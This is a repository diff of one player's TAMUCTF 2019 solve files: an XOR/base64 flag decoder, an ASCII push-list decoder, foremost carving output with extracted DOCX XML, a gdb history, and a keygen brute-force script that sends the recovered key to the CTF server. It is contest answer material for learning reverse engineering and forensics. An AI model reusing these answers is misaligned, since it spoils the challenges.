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TAMUCTF/Crypto/Smile/decoder.py Прегледај датотеку

@ -0,0 +1,13 @@
from base64 import *
enc = "XUBdTFdScw5XCVRGTglJXEpMSFpOQE5AVVxJBRpLT10aYBpIVwlbCVZATl1WTBpaTkBOQFVcSQdH"
flag = b64decode(enc)
key = ":)"
newflag = []
for i, l in enumerate(flag):
kunci = ord(key[i % len(key)])
cipher = ord(l)
newflag.append(chr(kunci ^ cipher))
newflag = ''.join(newflag)
print newflag

BIN
TAMUCTF/Misc/Hello_World/Screenshot_20190303_161722.png Прегледај датотеку

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TAMUCTF/Misc/Hello_World/Screenshot_20190303_163026.png Прегледај датотеку

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TAMUCTF/Misc/Hello_World/Screenshot_20190303_163249.png Прегледај датотеку

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TAMUCTF/Misc/Hello_World/Screenshot_20190303_163350.png Прегледај датотеку

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+ 99
- 0
TAMUCTF/Misc/Hello_World/decoder.py Прегледај датотеку

@ -0,0 +1,99 @@
flag = '''push103
push 105
push 103
push 101
push 109
push 123
push 48
push 104
push 95
push 109
push 121
push 95
push 119
push 104
push 52
push 116
push 95
push 115
push 112
push 52
push 99
push 49
push 110
push 103
push 95
push 121
push 48
push 117
push 95
push 104
push 52
push 118
push 51
push 125
push 33
push 101
push 99
push 97
push 112
push 115
push 101
push 116
push 105
push 104
push 119
push 32
push 102
push 111
push 32
push 116
push 111
push 108
push 32
push 97
push 32
push 115
push 105
push 32
push 101
push 114
push 117
push 115
push 32
push 116
push 97
push 104
push 116
push 32
push 44
push 101
push 101
push 103
push 32
push 121
push 108
push 108
push 111
push 103
push 32
push 116
push 101
push 101
push 119
push 115
push 32
push 108
push 108
push 101
push 87
'''
newflag = ""
flag = flag.replace('push', '')
flag = flag.replace('\n', '')
flag = flag.split(" ")
flag = map(int, flag)
for i in flag:
newflag += chr(i)
print newflag

BIN
TAMUCTF/Misc/I_heard_you_like_files/Screenshot_20190303_155553.png Прегледај датотеку

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TAMUCTF/Misc/I_heard_you_like_files/Screenshot_20190303_160033.png Прегледај датотеку

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TAMUCTF/Misc/I_heard_you_like_files/Screenshot_20190303_160404.png Прегледај датотеку

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TAMUCTF/Misc/I_heard_you_like_files/Screenshot_20190303_160559.png Прегледај датотеку

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TAMUCTF/Misc/I_heard_you_like_files/Screenshot_20190303_160905.png Прегледај датотеку

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TAMUCTF/Misc/I_heard_you_like_files/art.png Прегледај датотеку

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+ 27
- 0
TAMUCTF/Misc/I_heard_you_like_files/output/audit.txt Прегледај датотеку

@ -0,0 +1,27 @@
Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus
Audit File
Foremost started at Sun Mar 3 15:59:09 2019
Invocation: foremost art.png
Output directory: /home/chao/Documents/CTF/TAMUCTF/Misc/I_heard_you_like_files/output
Configuration file: /etc/foremost.conf
------------------------------------------------------------------
File: art.png
Start: Sun Mar 3 15:59:09 2019
Length: 3 MB (3518869 bytes)
Num Name (bs=512) Size File Offset Comment
0: 00006700.zip 86 KB 3430685
1: 00000000.png 3 MB 0 (1920 x 1080)
2: 00006657.pdf 21 KB 3408641
Finish: Sun Mar 3 15:59:09 2019
3 FILES EXTRACTED
zip:= 1
png:= 1
pdf:= 1
------------------------------------------------------------------
Foremost finished at Sun Mar 3 15:59:09 2019

BIN
TAMUCTF/Misc/I_heard_you_like_files/output/pdf/00006657.pdf Прегледај датотеку


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TAMUCTF/Misc/I_heard_you_like_files/output/png/00000000.png Прегледај датотеку

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BIN
TAMUCTF/Misc/I_heard_you_like_files/output/zip/00006700.zip Прегледај датотеку


+ 3
- 0
TAMUCTF/Misc/I_heard_you_like_files/output/zip/[Content_Types].xml Прегледај датотеку

@ -0,0 +1,3 @@
<?xml version="1.0" encoding="UTF-8"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="xml" ContentType="application/xml"/><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="png" ContentType="image/png"/><Default Extension="jpeg" ContentType="image/jpeg"/><Override PartName="/_rels/.rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/word/_rels/document.xml.rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Override PartName="/word/settings.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.settings+xml"/><Override PartName="/word/fontTable.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.fontTable+xml"/><Override PartName="/word/media/image1.png" ContentType="image/png"/><Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/><Override PartName="/word/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.styles+xml"/>
</Types>

+ 3
- 0
TAMUCTF/Misc/I_heard_you_like_files/output/zip/_rels/.rels Прегледај датотеку

@ -0,0 +1,3 @@
<?xml version="1.0" encoding="UTF-8"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties" Target="docProps/core.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties" Target="docProps/app.xml"/><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="word/document.xml"/>
</Relationships>

+ 2
- 0
TAMUCTF/Misc/I_heard_you_like_files/output/zip/docProps/app.xml Прегледај датотеку

@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties" xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"><Template></Template><TotalTime>12</TotalTime><Application>LibreOffice/6.1.1.2$Linux_X86_64 LibreOffice_project/10$Build-2</Application><Pages>1</Pages><Words>4</Words><Characters>24</Characters><CharactersWithSpaces>27</CharactersWithSpaces><Paragraphs>1</Paragraphs></Properties>

+ 2
- 0
TAMUCTF/Misc/I_heard_you_like_files/output/zip/docProps/core.xml Прегледај датотеку

@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><dcterms:created xsi:type="dcterms:W3CDTF">2018-09-20T15:47:36Z</dcterms:created><dc:creator></dc:creator><dc:description></dc:description><dc:language>en-US</dc:language><cp:lastModifiedBy></cp:lastModifiedBy><dcterms:modified xsi:type="dcterms:W3CDTF">2018-09-20T16:00:01Z</dcterms:modified><cp:revision>1</cp:revision><dc:subject></dc:subject><dc:title></dc:title></cp:coreProperties>

+ 1
- 0
TAMUCTF/Misc/I_heard_you_like_files/output/zip/not_the_flag.txt Прегледај датотеку

@ -0,0 +1 @@
Sorry, no flag here

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TAMUCTF/Misc/I_heard_you_like_files/output/zip/word/_rels/document.xml.rels Прегледај датотеку

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<?xml version="1.0" encoding="UTF-8"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/image1.png"/><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/fontTable" Target="fontTable.xml"/><Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/settings" Target="settings.xml"/>
</Relationships>

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TAMUCTF/Misc/I_heard_you_like_files/output/zip/word/document.xml Прегледај датотеку

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<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:document xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" mc:Ignorable="w14 wp14"><w:body><w:p><w:pPr><w:pStyle w:val="TextBody"/><w:widowControl/><w:pBdr></w:pBdr><w:spacing w:before="0" w:after="225"/><w:ind w:left="0" w:right="0" w:hanging="0"/><w:jc w:val="both"/><w:rPr><w:rFonts w:ascii="Open Sans;Arial;sans-serif" w:hAnsi="Open Sans;Arial;sans-serif"/><w:b w:val="false"/><w:i w:val="false"/><w:caps w:val="false"/><w:smallCaps w:val="false"/><w:color w:val="000000"/><w:spacing w:val="0"/><w:sz w:val="21"/></w:rPr></w:pPr><w:r><w:rPr><w:rFonts w:ascii="Open Sans;Arial;sans-serif" w:hAnsi="Open Sans;Arial;sans-serif"/><w:b w:val="false"/><w:i w:val="false"/><w:caps w:val="false"/><w:smallCaps w:val="false"/><w:color w:val="000000"/><w:spacing w:val="0"/><w:sz w:val="21"/></w:rPr><w:drawing><wp:anchor behindDoc="0" distT="0" distB="0" distL="0" distR="0" simplePos="0" locked="0" layoutInCell="1" allowOverlap="1" relativeHeight="2"><wp:simplePos x="0" y="0"/><wp:positionH relativeFrom="column"><wp:align>center</wp:align></wp:positionH><wp:positionV relativeFrom="paragraph"><wp:posOffset>635</wp:posOffset></wp:positionV><wp:extent cx="2857500" cy="1600200"/><wp:effectExtent l="0" t="0" r="0" b="0"/><wp:wrapSquare wrapText="largest"/><wp:docPr id="1" name="Image1" descr=""></wp:docPr><wp:cNvGraphicFramePr><a:graphicFrameLocks xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" noChangeAspect="1"/></wp:cNvGraphicFramePr><a:graphic xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main"><a:graphicData uri="http://schemas.openxmlformats.org/drawingml/2006/picture"><pic:pic xmlns:pic="http://schemas.openxmlformats.org/drawingml/2006/picture"><pic:nvPicPr><pic:cNvPr id="1" name="Image1" descr=""></pic:cNvPr><pic:cNvPicPr><a:picLocks noChangeAspect="1" noChangeArrowheads="1"/></pic:cNvPicPr></pic:nvPicPr><pic:blipFill><a:blip r:embed="rId2"></a:blip><a:stretch><a:fillRect/></a:stretch></pic:blipFill><pic:spPr bwMode="auto"><a:xfrm><a:off x="0" y="0"/><a:ext cx="2857500" cy="1600200"/></a:xfrm><a:prstGeom prst="rect"><a:avLst/></a:prstGeom></pic:spPr></pic:pic></a:graphicData></a:graphic></wp:anchor></w:drawing></w:r></w:p><w:p><w:pPr><w:pStyle w:val="Normal"/><w:rPr></w:rPr></w:pPr><w:r><w:rPr></w:rPr></w:r></w:p><w:p><w:pPr><w:pStyle w:val="Normal"/><w:rPr></w:rPr></w:pPr><w:r><w:rPr></w:rPr></w:r></w:p><w:p><w:pPr><w:pStyle w:val="Normal"/><w:rPr></w:rPr></w:pPr><w:r><w:rPr></w:rPr></w:r></w:p><w:p><w:pPr><w:pStyle w:val="Normal"/><w:rPr></w:rPr></w:pPr><w:r><w:rPr></w:rPr></w:r></w:p><w:p><w:pPr><w:pStyle w:val="Normal"/><w:rPr></w:rPr></w:pPr><w:r><w:rPr></w:rPr></w:r></w:p><w:p><w:pPr><w:pStyle w:val="Normal"/><w:rPr></w:rPr></w:pPr><w:r><w:rPr></w:rPr></w:r></w:p><w:p><w:pPr><w:pStyle w:val="Normal"/><w:rPr></w:rPr></w:pPr><w:r><w:rPr></w:rPr></w:r></w:p><w:p><w:pPr><w:pStyle w:val="Normal"/><w:rPr></w:rPr></w:pPr><w:r><w:rPr></w:rPr></w:r></w:p><w:p><w:pPr><w:pStyle w:val="Normal"/><w:rPr></w:rPr></w:pPr><w:r><w:rPr></w:rPr><w:t>Wait...now I am confused...</w:t></w:r></w:p><w:sectPr><w:type w:val="nextPage"/><w:pgSz w:w="12240" w:h="15840"/><w:pgMar w:left="1134" w:right="1134" w:header="0" w:top="1134" w:footer="0" w:bottom="1134" w:gutter="0"/><w:pgNumType w:fmt="decimal"/><w:formProt w:val="false"/><w:textDirection w:val="lrTb"/></w:sectPr></w:body></w:document>

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TAMUCTF/Misc/I_heard_you_like_files/output/zip/word/fontTable.xml Прегледај датотеку

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<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:fonts xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><w:font w:name="Times New Roman"><w:charset w:val="00"/><w:family w:val="roman"/><w:pitch w:val="variable"/></w:font><w:font w:name="Symbol"><w:charset w:val="02"/><w:family w:val="roman"/><w:pitch w:val="variable"/></w:font><w:font w:name="Arial"><w:charset w:val="00"/><w:family w:val="swiss"/><w:pitch w:val="variable"/></w:font><w:font w:name="DejaVu Serif"><w:charset w:val="01"/><w:family w:val="roman"/><w:pitch w:val="variable"/></w:font><w:font w:name="DejaVu Sans"><w:charset w:val="01"/><w:family w:val="swiss"/><w:pitch w:val="variable"/></w:font><w:font w:name="Open Sans"><w:altName w:val="Arial"/><w:charset w:val="01"/><w:family w:val="auto"/><w:pitch w:val="default"/></w:font></w:fonts>

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TAMUCTF/Misc/I_heard_you_like_files/output/zip/word/settings.xml Прегледај датотеку

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<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:settings xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"><w:zoom w:percent="100"/><w:defaultTabStop w:val="709"/></w:settings>

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TAMUCTF/Misc/I_heard_you_like_files/output/zip/word/styles.xml Прегледај датотеку

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<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:styles xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="w14"><w:docDefaults><w:rPrDefault><w:rPr><w:rFonts w:ascii="DejaVu Serif" w:hAnsi="DejaVu Serif" w:eastAsia="Noto Sans" w:cs="Noto Sans"/><w:kern w:val="2"/><w:sz w:val="24"/><w:szCs w:val="24"/><w:lang w:val="en-US" w:eastAsia="zh-CN" w:bidi="hi-IN"/></w:rPr></w:rPrDefault><w:pPrDefault><w:pPr><w:widowControl/></w:pPr></w:pPrDefault></w:docDefaults><w:style w:type="paragraph" w:styleId="Normal"><w:name w:val="Normal"/><w:qFormat/><w:pPr><w:widowControl/></w:pPr><w:rPr><w:rFonts w:ascii="DejaVu Serif" w:hAnsi="DejaVu Serif" w:eastAsia="Noto Sans" w:cs="Noto Sans"/><w:color w:val="auto"/><w:kern w:val="2"/><w:sz w:val="24"/><w:szCs w:val="24"/><w:lang w:val="en-US" w:eastAsia="zh-CN" w:bidi="hi-IN"/></w:rPr></w:style><w:style w:type="paragraph" w:styleId="Heading"><w:name w:val="Heading"/><w:basedOn w:val="Normal"/><w:next w:val="TextBody"/><w:qFormat/><w:pPr><w:keepNext w:val="true"/><w:spacing w:before="240" w:after="120"/></w:pPr><w:rPr><w:rFonts w:ascii="DejaVu Sans" w:hAnsi="DejaVu Sans" w:eastAsia="Noto Sans" w:cs="Noto Sans"/><w:sz w:val="28"/><w:szCs w:val="28"/></w:rPr></w:style><w:style w:type="paragraph" w:styleId="TextBody"><w:name w:val="Body Text"/><w:basedOn w:val="Normal"/><w:pPr><w:spacing w:lineRule="auto" w:line="276" w:before="0" w:after="140"/></w:pPr><w:rPr></w:rPr></w:style><w:style w:type="paragraph" w:styleId="List"><w:name w:val="List"/><w:basedOn w:val="TextBody"/><w:pPr></w:pPr><w:rPr></w:rPr></w:style><w:style w:type="paragraph" w:styleId="Caption"><w:name w:val="Caption"/><w:basedOn w:val="Normal"/><w:qFormat/><w:pPr><w:suppressLineNumbers/><w:spacing w:before="120" w:after="120"/></w:pPr><w:rPr><w:i/><w:iCs/><w:sz w:val="24"/><w:szCs w:val="24"/></w:rPr></w:style><w:style w:type="paragraph" w:styleId="Index"><w:name w:val="Index"/><w:basedOn w:val="Normal"/><w:qFormat/><w:pPr><w:suppressLineNumbers/></w:pPr><w:rPr></w:rPr></w:style></w:styles>

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TAMUCTF/Reverse/KeyGenMe/.gdb_history Прегледај датотеку

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pdisas main
b *main+200
r
pdisas verify_key
b *verify_key+96
r
pdisas verify_key
b *verify_key+96
r
r

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TAMUCTF/Reverse/KeyGenMe/bruteforce.py Прегледај датотеку

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from pwn import *
v5 = ""
v2 = ord('H')
flag = "ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
key = "[OIonU2_<__nK<KsK"
iterator = 0
while True:
for i in flag:
if(((ord(i) + 12) * v2 + 17) % 70 + 48) == ord(key[iterator]):
v5 += i
v2 = ord(key[iterator])
iterator += 1
break
if(len(v5) == len(key)):
break
v5 = v5[:-1]
print "Key: {}".format(v5)
r = remote("rev.tamuctf.com", 7223)
r.sendline(v5)
r.interactive()

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